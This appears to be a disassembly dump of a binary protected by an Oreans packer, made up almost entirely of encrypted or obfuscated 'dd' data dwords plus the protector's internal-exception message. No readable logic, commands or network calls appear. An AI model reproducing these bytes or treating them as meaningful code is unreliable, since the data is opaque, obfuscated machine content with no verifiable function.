1573BAA2h, 7AD8A54Bh, 0CB3C09AFh, 0BDA71362h dd 9036FD5Bh, 2FFC52C3h, 14DC3A89h, 0E87A626Eh, 0FB0163Eh dd 50h, 0F99F6AC8h, 0A46CBB2Ch, 4A8FDDF8h, 3836081Bh, 0C390F9D1h dd 0EBF79D65h, 0D09D430Bh, 478CE0F5h, 0CB5CBFAh, 137CD502h dd 0D34877C4h, 0A4CAEB18h, 0AFDC7468h, 0EFDF5CA4h, 8C275B33h dd 60338200h, 2ACD3E0Ah, 0BF7939D9h, 5D22891h, 0A0EAF65Fh dd 0BF04AA75h, 0B372D083h, 93C72F23h, 6F7F8BE4h, 384C9B67h dd 1AE78D58h, 4EFF9EEBh, 0A64C18DBh, 0D4983D9Ah, 5158608Fh dd 60C9D13Fh, 71F3BD1Bh, 0FEAF3E42h, 218AF3D4h, 0D56DCB15h dd 2B09636h, 18Ah, 8EDEF840h, 1C5786CEh, 0C9DB4F21h, 0A75793D8h dd 31DCB8FEh, 42C301A7h, 0B31CCBF2h, 28869C64h, 5C02CE61h dd 66B51E8Fh, 0E7675119h, 4CF2BB19h, 0E0F835FDh, 2886D090h dd 646AB95Fh, 91DFF81Ah, 86C183D1h, 6AB95F28h, 16367204h dd 4289B3h, 0F8C70000h, 86D090E0h, 20760A39h, 52BBDB4Fh dd 0EC87B603h, 35DB4F20h, 36C12DFh, 75BE8643h, 864505ABh dd 0DE4AFD39h, 0B8599639h, 4EF3EF91h, 0E799C8DBh, 4ADB4EF3h dd 5EAD16E1h, 38B5470Fh, 6B000000h, 4B90E0F8h, 20B1CFFEh dd 1780DB4Fh, 8350F6C1h, 86FBC312h, 4F211C57h, 93D8C9DBh dd 0CF0DB457h, 105F9E8Bh, 5D288648h, 531B68B7h, 4E18AB75h dd 16ADBA8h, 6DBC8441h, 0B31636C5h, 8AF2h, 804DAB00h, 20B1CFFEh dd 1780DE4Fh, 2170E1AEh, 91DFF859h, 92C3FF4Ch, 221A8D9Eh dd 9AB3CDF4h, 157EDB4Eh, 4A86FEC6h, 0BA8376FCh, 0D421703Ch dd 4EACCEA5h, 0A5EA53DBh, 89D87E47h, 86BE86C1h, 20760A39h dd 76BBDB4Fh, 4F203947h, 268FF8DBh, 8AE79D7h, 394776C3h dd 7EDB4F20h, 4F20314Fh, 0CC9700DBh, 0A0460D63h, 37848951h dd 3B220FBh, 945264F1h, 136BAB1Eh, 0FFC7167Fh, 0C5604A86h dd 853A89DFh, 1F1836h, 0F8CE0000h, 86D191DFh, 0A444FD39h dd 1EDD301Bh, 6DD3A0CFh, 2112DB4Eh, 75BE8661h, 844404AAh dd 5F2886BCh, 2C7BECB9h, 0FFFE6D0Eh, 0DDF8C4FFh, 21EC4A8Fh dd 0B0DF2C7Bh, 0D13F71ACh, 0CC248FCBh, 6844821Fh, 27F04619h dd 75D31881h, 9EFB07ADh, 0C4F3383Ch, 0D4FEDCBCh, 0B0561F75h dd 1AE78D5Ah, 267340A9h, 8E5B01C8h, 0DF9FCE1Dh, 0B1D4FEDCh dd 92380462h, 990554C5h, 7A1630ABh, 21C5B646h, 3000000h dd 0B85E2886h, 203A3A69h, 945CDB4Fh, 299BF623h, 247AC870h dd 76E7B45Ah, 0BB61010Dh, 17000000h, 0CB5E2886h, 0A1F059FFh dd 185D0FC6h, 384CF2E9h, 5F2785D1h, 2C7BECB9h, 4DABF059h dd 0CFDB81h, 6431D7A2h, 30993F06h, 24B783E1h, 955FB55Bh dd 0DEB986EFh, 0E33075F7h, 4A17BD85h, 0F95B8AD9h, 0E8CAF246h dd 5421C792h, 0D7357AE3h, 2798650Bh, 612D8BD8h, 3CFAFBBh dd 20B5905Dh, 23D8074Ch, 0EC4A1F6h, 3A0260A5h, 0FE1C81C9h dd 0E049B2A5h, 992CF4D4h, 0CF753DD0h, 5B289102h, 496981EAh dd 73860C6Eh, 0B1D809Eh, 13D90000h, 0B681616Dh, 5A240410h dd 0FBC8A8B4h, 0A0694955h, 0C4ECEEFAh, 1824CA93h, 0BFCB7138h dd 616D13DFh, 713B981h, 0C74A370h, 25D4FEBCh, 3986DA1Ah dd 42690FDBh, 0DB4F203Eh, 0DD3B8AF3h, 0C28FA415h, 896661B4h dd 2DF55320h, 83CABA87h, 5D87E247h, 4D9CD9B2h, 0B88063E1h dd 41E0612h, 0B3B016E9h, 65h, 90F01F6Ch, 0A1DB4E51h, 0BCC4F338h dd 75DB4E51h, 86F5BD0Ch, 67B65C28h, 0DE23498Ch, 384404AFh dd 0E7B41DD1h, 0F1BC189h, 741AE240h, 89E736A7h, 14E1BC1h dd 0FDFB85B4h, 0CD36D501h, 3A32A37Eh, 28CE97F5h, 4E9BEA5Bh dd 3B41C501h, 5BA6AF3Eh, 4DFEDD0Ch, 0AEF3CAEAh, 0B3F7017Fh dd 0FDA30CEh, 8B970069h, 4AA7541h, 4CB29F8h, 212D5382h dd 9B04DB4Fh, 0D3B4E332h, 0E3DB4F20h, 8657117h, 312FD4CDh dd 51DBB934h, 2756A3E8h, 0DB4E5459h, 0D3206FD8h, 760A3986h dd 0BBDB4E54h, 0E9D40352h, 0CED13EA5h, 4710A370h, 0FA63D4A1h dd 2A6FD8ABh, 905D03CCh, 2583D01Fh, 5FA9B55Bh, 0BA602886h dd 0F71A0EDh, 22DB4F21h, 9B0150B9h, 0B096368Bh, 13A30h dd 39866E00h, 4F20760Ah, 352BBDBh, 79BEAE28h, 23063C3Dh dd 55A42DA6h, 0DB39868Dh, 0EE1D6C12h, 0DB4F2085h, 86AF6F60h dd 0A903BA4Ah, 1257F6D7h, 4E919DE3h, 0DC2B94DBh, 0E767C78Fh dd 90E0F89Eh, 0A0FECDD0h, 0F36431D7h, 0DFF8DCA4h, 864EB7C6h dd 0DA4B18BEh, 991795A6h, 8F5B2554h, 6DD6DB4Eh, 4372BF04h dd 0DB4E8F3Dh, 2BF89E69h, 3786EFBAh, 6DC1836Fh, 0B31636C5h dd 0FA01D10Dh, 890E657Eh, 21D23Ah, 0F8100000h, 86D090E0h dd 4F211C57h, 0DC9C05DBh, 0AB75BE86h, 0D9A64C18h, 843FFF68h dd 24B5BCh, 866B0000h, 0ECB95F28h, 0D1F78EB0h, 8FF8BD16h dd 0FB736540h, 1C57863Bh, 0C9DB4F21h, 0BE8618D8h, 4505AB75h dd 0C56DBC84h, 0DB31636h, 7542E8AFh, 214DB504h, 8B000000h dd 0D191DFF8h, 211C5786h, 2D8BDB4Fh, 996CBB61h, 0BE867030h dd 4404AA75h, 35B5BC84h, 6B000000h, 0D191DFF8h, 211C5786h dd 3E8BDB4Fh, 4F20710Fh, 857C0DBh, 65C308F9h, 0DFA7F69Ch dd 5F14A86h, 609E1F72h, 3AA00E83h, 0F847B098h, 0AA75E3ABh dd 0BC844404h, 0B85E2886h, 0FEAE4B69h, 0F801FFFFh, 1B4A8FDDh dd 0D13F7141h, 0A40247B0h, 0CD2A36DCh, 0F524690Dh, 0D4FECF8Bh dd 41703DA6h, 0D4FECF3Dh, 0BA2C9D69h, 0CAD485FCh, 82E0AD16h dd 2E4512B8h, 2C010242h, 0A3E113D1h, 0EA58C42Dh, 0DAE77F7Ah dd 2414B646h, 52000000h, 0B95F2886h, 0FD2C7BECh, 0DB4F2077h dd 7508D230h, 489E07ADh, 9708D57Bh, 7C22EA48h, 0E4D070h dd 0F8860000h, 0FD4A8FDDh, 612ED49Fh, 2972A1F0h, 0C8D13847h dd 9ECD1A5Fh, 0D501FBE2h, 4A97E64Fh, 357A20ECh, 9C690FD7h dd 0E8C8DC2Bh, 0D331761Ch, 3E136208h, 0B75A4F1h, 26D501FCh dd 42936EBDh, 4B98E52Ah, 1FB641Ch, 1564CDD5h, 0F24C7AE6h dd 5A2177CAh, 0A8064BB4h, 4A2A36DCh, 4693D87Eh, 0B1AA6917h dd 105FC8CEh, 0A75603Bh, 0EC319A40h, 0CB21C78Eh, 1F905D03h dd 0E93683D0h, 0B1AAC6BAh, 0BEC2F1CEh, 73CEB1AAh, 87D63F0Ah dd 0A1FBA358h, 0E9B614C4h, 0CB21F443h, 0AAEF58FEh, 0D2DE844Ch dd 39B92AF2h, 2E7C0621h, 0BF2D45AEh, 2D860C33h, 7893A58h dd 0A76D0000h, 4A15F501h, 0EEB898A4h, 8F5C3C48h, 34FDDDE9h dd 6880828Eh, 0ACB85E27h, 535F05CCh, 0F501A773h, 9BA74D15h dd 78083704h, 0B9D4FEB8h, 0AD756EAEh, 14DC3A07h, 420FB581h dd 0AB9B68D1h, 9FFD1F45h, 80DE2DD3h, 6FCD12B8h, 9AAEFDA3h dd 164290B2h, 982662B0h, 4124C7B9h, 42339BEAh, 71000000h dd 4A8FDDF8h, 2FD59FFDh, 73A2F162h, 0D1382D98h, 548350B9h dd 0D5021620h, 0A072F260h, 4D17742h dd 0CA33D9A6h, 490D157Bh, 50AAB65Bh, 63000000h, 2119F127h dd 2928EF2h, 63AA3D5h, 7AC94685h, 612886B2h, 2E7DEEBBh dd 0A5EA8253h, 38259976h, 9862B8D1h, 4BB425F2h, 0B258207Eh dd 58FEC6A6h, 4725B08Bh, 34DAA402h, 5AA7F667h, 0EB43702Bh dd 0C1881CAh, 7F12DF3Dh, 0D0410EB4h, 0F2501867h, 73F9DCBBh dd 4760FF2Eh, 4C91D138h, 1F9631Dh, 5B2554D5h, 0D6D501F9h dd 854CA26Dh, 562076DFh, 972E3B0h, 450598C1h, 0F1E49574h dd 8BE9367Bh, 0DA4B18BEh, 0C5C75C8Bh, 0D13A0A74h, 0C0AC2904h dd 0D4324C7Bh, 27850427h, 9669B85Eh, 0C28AE82Dh, 6830101Ch dd 0D34AAC2h, 0CBA047BCh, 646ADh, 44EAB000h, 0E78D5838h dd 8B31FBDBh, 2CD29F7Fh, 0D1774020h, 6C2DC3C5h, 11F1FDA3h dd 0B898A44Ah, 5A3A46ECh, 49E0EC92h, 0B6334D7Ch, 0F3FED4FEh dd 2BAD75B3h, 20F35FEFh, 3D6467E6h, 0DB4ED743h, 25CB98EEh dd 398653BCh, 0DFAD80FDh, 0E6AE54AFh, 99027340h, 0ACCA7765h dd 126117C9h, 2C68EAB4h, 93AC4A77h, 0C749B72h, 25DB4EEDh dd 784753BCh, 116D2E3Ch, 0A9F83E16h, 206507CEh, 3EFF6FF1h dd 4C1982D1h, 667E24EEh, 92B1706Ah, 0B45F7D52h, 42000005h dd 0EACAD67Ch, 8D6D791Fh, 31111DC3h, 0D2B2BE64h, 55576309h dd 8F35FE53h, 36DCA383h, 0D87E4A2Ah, 7E24ECCCh, 0DF0EDB72h dd 0D4FEB6A1h, 86458590h, 0EEBB6128h, 82532E7Dh, 0DE76A5EAh dd 3D13F71h, 0A56FCD9Ah, 0E2E7E7FFh, 0F4C992B1h, 562D6h dd 28CE9400h, 0CB713C1Ch, 6F15DFBFh, 10B68363h, 0B55B2404h dd 5001A7A9h, 0F5D5E187h, 9C7C882Eh, 3E1E2AD0h, 2DC4D076h dd 0B54F3160h, 0D7E2D4FEh, 5F288697h, 8F5C02CCh, 77E8B51Eh dd 0E4884D28h, 71E8709Fh, 90F9D13Fh, 7C22ED4Bh, 0E28851AFh dd 0EC3BA415h, 5CEFB917h, 0A2DE0D8Fh, 8FD4FED0h, 3C54BD26h dd 92B1E368h, 0F4213F14h, 2000004h, 0AA8A963Ch, 4D2D39DFh dd 0F1D1DD83h, 92727E24h, 151723C9h, 4FF5BE93h, 0F69C6343h dd 983E0AEAh, 3EE4AC8Ch, 9FCE9B32h, 0D4FEB5E1h, 86054550h dd 9228914Ah, 1D6C54A2h, 8451F7BFh, 0EBB85E26h, 0FDC82675h dd 0CA198A57h, 3B03E65Eh, 6835DBA8h, 0B3828EF7h, 17E48A55h dd 31F957A6h, 0F72BD19Eh, 0C5C3C860h, 0DB2089C5h, 0CA0FB57Dh dd 4E57E59Bh, 94E34CDBh, 57E390BFh, 1E0ADB4Eh, 79FBC326h dd 4E57364Ah, 2992FBDBh, 6A15C01Dh, 0BD2EFBA1h, 75C20F54h dd 4E573A46h, 3F8EF7DBh, 3EA8C010h, 0E32891D1h, 1FEB4996h dd 143BAC79h, 0D4FE066Ch, 0AF0D5CC5h, 553541E7h, 3F1AE78Dh dd 781EE996h, 29BCA0Fh, 0EFCAEE58h, 1BE34186h, 0C1896975h dd 62734E1Bh, 0F196C50Ah, 50C496DAh, 3D13CFE7h, 0C89D860Fh dd 40AAAh, 8026EC00h, 23C99474h, 0C76D3717h, 680EDBBBh dd 0DB37C5Ch, 0A8E9FF01h, 4D2D39DFh, 0F4D4E086h, 96768228h dd 851C28CEh, 0B4F789B8h, 2F3AD4FEh, 7AD75EFh, 0C88FED3Ah dd 95E45522h, 0BDC96F37h, 0B2F77560h, 383D4883h, 0D3A009D1h dd 0B0CE4A86h, 0F76C6855h, 3C70FBDAh, 0FA496EA1h, 1E9A9CBh dd 0FB69D7D5h, 5B096600h, 3795B6h, 0F8D30000h, 0EC4A8FDDh dd 0DF2C7B21h, 3820D3B0h, 38056ED1h, 116F9EEBh, 20D50221h dd 3B3968B7h, 45D50220h, 0D0726DD7h, 7B65B42h, 0D9h, 0F49A62C0h dd 0E130D69Eh, 7AD7519h, 8013DC3Ah, 0D9A60FB5h, 5C0F508Ch dd 51852BF2h, 8D6BD49h, 0C0B0176Ah, 88E6359Eh, 99D51AC0h dd 80D2976h, 0BE93E22Bh, 0ADF29860h, 90DF854Fh, 0CB76CB7Ch dd 6830DB4Eh, 0ED6B6C2h, 0F8C52368h, 29F69C65h, 11824FB8h dd 0C312EDC2h, 9D2864A9h, 93AEE297h, 26556CA0h, 0DABA100Ah dd 900F3E8Bh, 0E7D1375Eh, 0CD1CC289h, 288591FAh, 4B7ABFADh dd 0CAF1B2ADh, 79C60B74h, 4283FD2Ch, 45AECEB1h, 29CF98F6h dd 0CE743D1Dh, 7C6DF2B6h, 87A57A98h, 2CFh, 0AFBB6127h dd 525E04CFh, 0F602A872h, 97A34916h, 3C48EEB7h, 18E1B63Ah dd 0BF866672h, 612D0D19h, 7CFAFBBh, 0F1BE5561h, 0FEB3BEC2h dd 286873D4h, 0FA06AC75h, 0A0AC521Ah, 8FDDF856h, 20681B4Ah dd 70D9D138h, 210074A3h, 3180D502h, 3CD3E7F5h, 77C60128h dd 59B7590Bh, 0AE1FEC92h, 0EF69F95Fh, 0E38EB65Bh, 0CC000000h dd 0FC2BAD75h, 0DB4F2084h, 207C0433h, 4CB5DB4Fh, 0E2AF1881h dd 4815BB84h, 4F262819h, 10B67EDBh, 0CD73504h, 3C09AF79h dd 249562CBh, 9AF77D5h, 58B3EF3Ch, 85712B24h, 82532E7Dh dd 1FA1DF0Eh, 2790DB4Fh, 554A79BEh, 9CD13851h, 0BCA2733h dd 4A17AA74h, 0FD6E3BA4h, 0F7204F94h, 0EACAF2A2h, 22003C81h dd 0FE09FDFCh, 47A5F241h, 0FDCCD87Eh, 23F73CC1h, 0B4030907h dd 0DC0B8D56h, 0CEB2A3A4h, 0A3BB248Dh, 987DCEF3h, 0D86A885Dh dd 1E000001h, 0C6A6B258h, 694955FBh, 0DEDF99Fh, 0AE8E9A40h dd 31333FE5h, 6B11DABFh, 12B87F5Fh, 0B45A2606h, 5A00C8A8h dd 0BBEAB74Eh, 0D4FEB2C5h, 7521616Ch, 1AFA06ACh, 1A67AC52h dd 4F2095EBh, 0A44A11DBh, 1B6594D9h, 16DB4F21h, 0E1F544ADh dd 47EDB412h, 0AD7530F8h, 14DC3A07h, 4310B681h, 5D69D2h dd 235297D5h, 0D1382CE8h, 4330069h, 0D5021470h, 37A2A210h dd 0B65B322Fh, 42CCh, 0DDF80A00h, 20EC4A8Fh, 91DE2B7Ah dd 206B1544h, 5DC6DB4Fh, 526CDF0Eh, 0A0E5D138h, 0AED57B42h dd 0D501F0D2h, 488DF65Fh, 0C59023EAh, 9267B61Fh, 1F11163h dd 43016FD5h, 5B728E98h, 162DB6h, 0A46B0000h, 0DB4F20CFh dd 28F48B4Ah, 0A5D41982h, 0D138253Eh, 44E5AC3h, 3EF84A86h dd 0A6AFA867h, 13597C57h, 6EF492CEh, 6431A68Bh, 5A99C815h dd 0C7D137BFh, 0E644915Eh, 38A9761Ch, 99BABAE9h, 77C6D501h dd 0DBA84E19h, 0B5AF1B6Ah, 5BB9384Ah, 18DFB6h, 0A41D0000h dd 0DB4F20D0h, 0BB179D7h, 78F4E1BCh, 24DF0433h, 0B922D138h dd 288663ADh, 0AD4AEE5Fh, 0EDAAFD19h, 0F046B784h, 3FB07D23h dd 0ACC015F0h, 55DE1A67h, 0BA05EEDBh, 6D8BBA09h, 0B4D13E9Dh dd 0F940406Fh, 9BF1D4FDh, 0EF602DD3h, 7AD81D86h, 0E5BA09AFh dd 0CA703A98h, 0AF551D7Bh, 79FBC3A3h, 0FDF9364Ah, 0DEC7FBD4h dd 0BE686113h, 431079E2h, 0E72C9014h, 0E460CEC9h, 87933901h dd 0FF5DDFA7h, 1B658C32h, 8BCDAF45h, 0DD4E1BC1h, 7340A912h dd 0D5A24815h, 8294D0B4h, 62B15724h, 8A963C04h, 6F3CE2AAh dd 1E51h, 4A860700h, 608AED99h, 0E19FCEEDh, 50DB4E7Dh dd 0B02F7EE7h, 953B0563h, 0FDA36AC8h, 757D4594h, 0DE3C09AFh dd 45A37016h, 0A806D379h, 106E3BE1h, 76D4A147h, 0DC3A07ADh dd 3E9C690Fh, 0A301CE74h, 0E86532D8h, 81E68956h, 4C6h dd 4BA5200h, 29000000h, 34875AD6h, 29685C24h, 89000027h dd 8953242Ch, 4C381E3h, 81000000h, 4EBh, 241C8700h, 2414895Ch dd 50525768h, 242C8B06h, 5404C483h, 8124148Bh, 4C4h, 0BB535500h dd 46700F7Eh, 4245C01h, 8428F5Bh, 7E086A81h, 8B46700Fh dd 89572414h, 4C781E7h, 83000000h, 3C8704C7h, 34FF5C24h dd 0C4815D24h, 4, 0FD0E9CE9h, 0B50EE8FFh, 0A6B88726h, 3065070h dd 86E0FFC5h, 213011E6h, 745CCD2Ah, 585CB388h, 0A80AB94Dh dd 8D4549E9h, 0D030B6BCh, 0B9262C10h, 0C1010A10h, 0EB601305h dd 70676237h, 0F052C76Ah, 71082C79h, 0DD75FA78h, 7E48F531h dd 9D19F1CEh, 3C68E16Eh, 1E294FCCh dd 0B7C7E73h, 6C532DD8h, 3E061016h, 0A60295C3h, 0E9615B95h dd 400h, 0 a3anInternalExc db '3An internal exception occured (Address: 0x%x)',0Ah db 0Dh,'Please, contact support@oreans.com. Thank you!',0 align 10h dd 0E4h dup(0) dd 56h, 45h, 0 dd 1178E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 0D0A92724h, 51F4585h, 2E458589h dd 12E9064Dh, 74000000h, 547E02C4h, 371B55C8h, 0C470DC0h dd 8BC87A5Fh, 95858B37h, 0E9064D03h, 7, 3FF8133Dh, 3918C582h dd 0F042444h, 7785h, 0D5B26000h, 8969DCBEh, 0BD83615Ah dd 64D0B99h, 61840F00h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0DC9CC356h dd 6858DADh, 31064D39h, 4D2BE98Dh, 6AE0FF06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0D9E1C357h, 3B3AC915h, 0D890F9Fh, 60000000h, 890Fh dd 9BBA0000h, 614E8627h, 22C1858Bh, 8E9064Dh, 8A000000h dd 7EE9E2FEh, 39ECADF1h, 0F042444h, 5485h, 0C8A0F00h, 0F000000h dd 68Fh, 800F00h, 0C7000000h, 50758E85h, 106h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 8F934CE2h, 14E9h, 0F7827100h, 70A5FED7h, 355E596Ah dd 63C5AF24h, 71D07543h, 6A60BDh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 9BE8BEC3h, 0FE54348Eh dd 11BD3184h, 0E9064D15h, 26h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0B5C35747h, 6A659382h, 77FCh dd 1B80000h, 87000000h, 50772C85h, 75C00B06h, 0E5B5FFF6h dd 8F064D26h, 50758685h, 6A206A06h, 8995FFFFh, 83064D0Bh dd 4D25B1BDh, 8740006h, 95FF006Ah, 64D0511h, 2999BD83h dd 7401064Dh, 80680Dh, 0FF6A0000h, 0B8995FFh, 14E9064Dh dd 20000000h, 3EEF4897h, 91D055C7h, 0CE905D72h, 41D2F0BBh dd 6AE442BDh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 894DC353h, 736DD12Ah, 1151B529h dd 0B8064Dh, 0F000000h, 78Ch, 1850F00h, 0F5000000h, 2824548Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 1FC35646h dd 89F88AA8h, 4D042D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0E52AC544h, 5D9B531h dd 3CBE064Dh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0EC72C352h, 8765EE01h dd 33591FDh, 1242474h, 4D0399B5h, 59D8906h, 66064D00h dd 818D89ADh, 3064D25h, 1242444h, 4D2F958Dh, 85896006h dd 64D2CA9h, 52505061h, 61605250h, 0FE9310Fh, 0FC000000h dd 1043D077h, 0BE695405h, 348E9BE8h, 585AFE54h, 13E9310Fh dd 27000000h, 1DC50D3h, 0D1C4D97Eh, 32498C27h, 0C5EEA11Eh dd 585A663Ch, 6A240489h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 6992C357h, 3DF62A3Ch dd 9B33DA9Fh, 959D2960h, 66064D21h, 0C563D081h, 0DE961h dd 27E0000h, 8FB8F400h, 3B3DBA85h, 8BF02428h, 6A7840h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 8D0F2EC3h, 6, 2D299501h, 0BD83064Dh, 650758Eh, 70850F00h dd 0E9000001h, 11h, 112CDC8Dh, 0CBC83AA4h, 0D2562B9Ch dd 0FC5F3EB7h, 0CE9909Ah, 43000000h, 0B5155DE9h, 5AF8087Bh dd 500A1D57h, 870F60h, 50000000h, 0F616052h, 0AE831h, 4ED30000h dd 0EAF50205h, 0DC89777Bh, 61585A59h, 0BF0F6090h, 5D9589DBh dd 61064D1Ch, 2C24448Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 0BDC35242h, 39CD7813h, 9E9BA6Bh, 0DA000000h dd 0FB360DAh, 0B173019h, 0F525090h, 68Bh, 8B0F00h, 0F000000h dd 0E8C0F31h, 0E9000000h, 9, 973D3EA5h, 0EFB3407Fh, 50585AB3h dd 9E95250h, 37000000h, 51E9DF73h, 60F58060h, 5660310Fh dd 0F52505Bh, 61585A31h, 6A90585Ah, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0FE11C350h dd 6E93Fh, 1C220000h, 18057CA1h, 49F9858Dh, 6A0650h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 484ECCC3h, 60D703CCh, 1B4DB529h, 0AE9064Dh, 5C000000h dd 994CD03Ah, 0BC4AF6F1h, 0D0FF61CCh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 36C35141h, 0E96440BAh, 0Ch dd 0C5F700FBh, 0AB57F87Bh, 50985B91h, 0F98D89FCh, 3064D12h dd 89282444h, 4D0C619Dh, 18408B06h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 58C35242h, 0A090F23h, 899237ADh dd 4D22719Dh, 6A4006h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 4DD244C3h, 8A8589FCh, 60065075h dd 0BA5BD89h, 0B70F064Dh, 0BE961C1h, 0CC000000h, 0FCB21931h dd 7D6A2CFFh, 0E9581284h, 7, 9866B78Ah, 8B41A775h, 6A7870h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 168F73C3h, 898A3B27h, 4D2C7D9Dh, 1CC68306h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 89C35141h, 77BBE307h dd 850FFB49h, 6, 25BD8D31h, 830F064Dh, 0Ch, 6860Fh, 880F0000h dd 0 dd 56006A96h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 0F8A89688h, 24247C81h, 10000000h, 107870Fh dd 50F80000h, 0EE860h, 0B0CD0000h, 6CDCCDEDh, 0DA817EF9h dd 240BD605h, 310F5250h, 0F5B585Ah, 384h, 0F28B6600h, 24048961h dd 9E9h, 79818F00h, 0D5EEB148h, 448B88F2h, 6A2824h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0A6979EC3h, 0CDA58DC7h, 8509F6A4h, 64D0B85h, 14E990h dd 53860000h, 76DF5AF0h, 0DB34538Ah, 0B36630C2h, 77F96735h dd 0E950B3A7h, 5, 0FB08C4CAh, 830F9083h, 0Dh, 0DA816660h dd 0C2814483h, 51E92F31h, 0F9858D61h, 6A065049h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 0B68AC356h, 6660BB36h, 0CE3F681h, 90D6BF66h, 0EE961h dd 0C4990000h, 93AEEC11h, 959FFE71h, 61D2D080h, 6AD0FFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0BC7C4C3h, 0DEE107A7h, 0E9F59683h, 14h, 0C14A6DFEh dd 4EECB116h, 89B513A8h, 117713A2h, 0AB38D5Dh, 24247403h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0CFC35545h dd 850F6DFEh, 6, 25F1BD29h, 0BD8D064Dh, 64D14C1h, 26A1B531h dd 0FAD064Dh, 880h, 0CE816000h, 4A120316h, 247C8161h, 24h dd 0F6870F10h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0A906C355h, 8589D381h dd 64D0049h, 60525050h, 8B66CB8Bh, 310F61FEh, 9E9h, 0F35A0C00h dd 0EC61E7C6h, 585A7B1Eh, 60240489h, 0B589F88Ah, 64D2A41h dd 1840F61h, 0F8000000h, 2824448Bh, 799529h, 6090064Dh dd 890FC38Ah, 13h, 0EE9h, 0E49E6100h, 5E7C44A0h, 299189E2h dd 6190CDD9h, 158A0F50h, 50000000h, 8E952h, 88AE0000h dd 0A0E556C4h, 310FD37Fh, 585A6160h, 0B5016090h, 64D0641h dd 8D6131B0h, 5049F985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 12E9F2h, 49E30000h, 8768D3FFh dd 111103C6h, 5342F217h, 406CB58Ch, 0E9F8D0FFh, 11h, 0E5853077h dd 43514ADDh, 0EA6C57E3h, 0BD1DF00Ch, 24440306h, 62BB6024h dd 66681B52h, 75D3EA81h, 6AAB61h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0C11374C3h, 932C2BDh dd 0F603777h, 58Ah, 0F3816600h, 8D8B39FCh, 64D27B5h, 0FA8161h dd 0F000100h, 70882h, 14E900h, 0A6B90000h, 0C0C63281h dd 0C318942h, 0D24675E1h, 70CD39C7h, 0BD8DA7C2h, 64D128Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 75C35646h dd 862546CEh, 0FB8101A9h, 71B5012Ah, 0AD064D1Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 9AC35545h, 1BDD9D89h dd 7C81064Dh, 2424h, 870F1000h, 0C8h, 0C1B70F60h, 14E9h dd 665A3100h, 1170B245h, 998D13E0h, 9B169B10h, 782AC62Ch dd 0F50611Ah, 88Ah, 28D0F00h, 60000000h, 24048961h, 15418D01h dd 448B064Dh, 6A2824h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0AD0D76C3h, 8A7314F0h, 0E950758Eh dd 0Fh, 0B6ACA96h, 5A87ECB8h, 0F2D273DCh, 89A5D4CFh, 0B602404h dd 4D1F2D8Dh, 15BD8906h, 61064D2Ah, 49F9858Dh, 6A0650h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0A9CF9DC3h, 6AD0FFC8h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0B699C350h, 24244403h dd 0C8F0Fh, 810F0000h, 6, 0EED9589h, 6090064Dh, 0F525060h dd 61585A31h, 506151B0h, 6E9h, 8D094800h, 90C9E9A7h, 6AABFCh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 8D57D0C3h, 4D304DBDh, 31BD8906h, 0F064D12h, 982h, 0B5896000h dd 64D156Dh, 89AD61FCh, 4D32C585h, 247C8106h, 28h, 36870F10h dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0BB35C353h, 14E9h, 586BA700h dd 42971A69h, 378950C6h, 632C14Eh, 5B92438Ah, 12E903h dd 0BD9B0000h, 0C1833724h, 0BE24BE0Dh, 5FF2C2FDh, 0DA336B00h dd 840F6050h, 6, 310F5250h, 8B66585Ah, 48961CAh, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 24448BF9h, 6820F2Ch, 29000000h, 4D0441B5h, 800F9006h dd 0Bh, 0F525060h, 66585A31h, 5061F18Bh, 52505250h, 310F6160h dd 585A6160h, 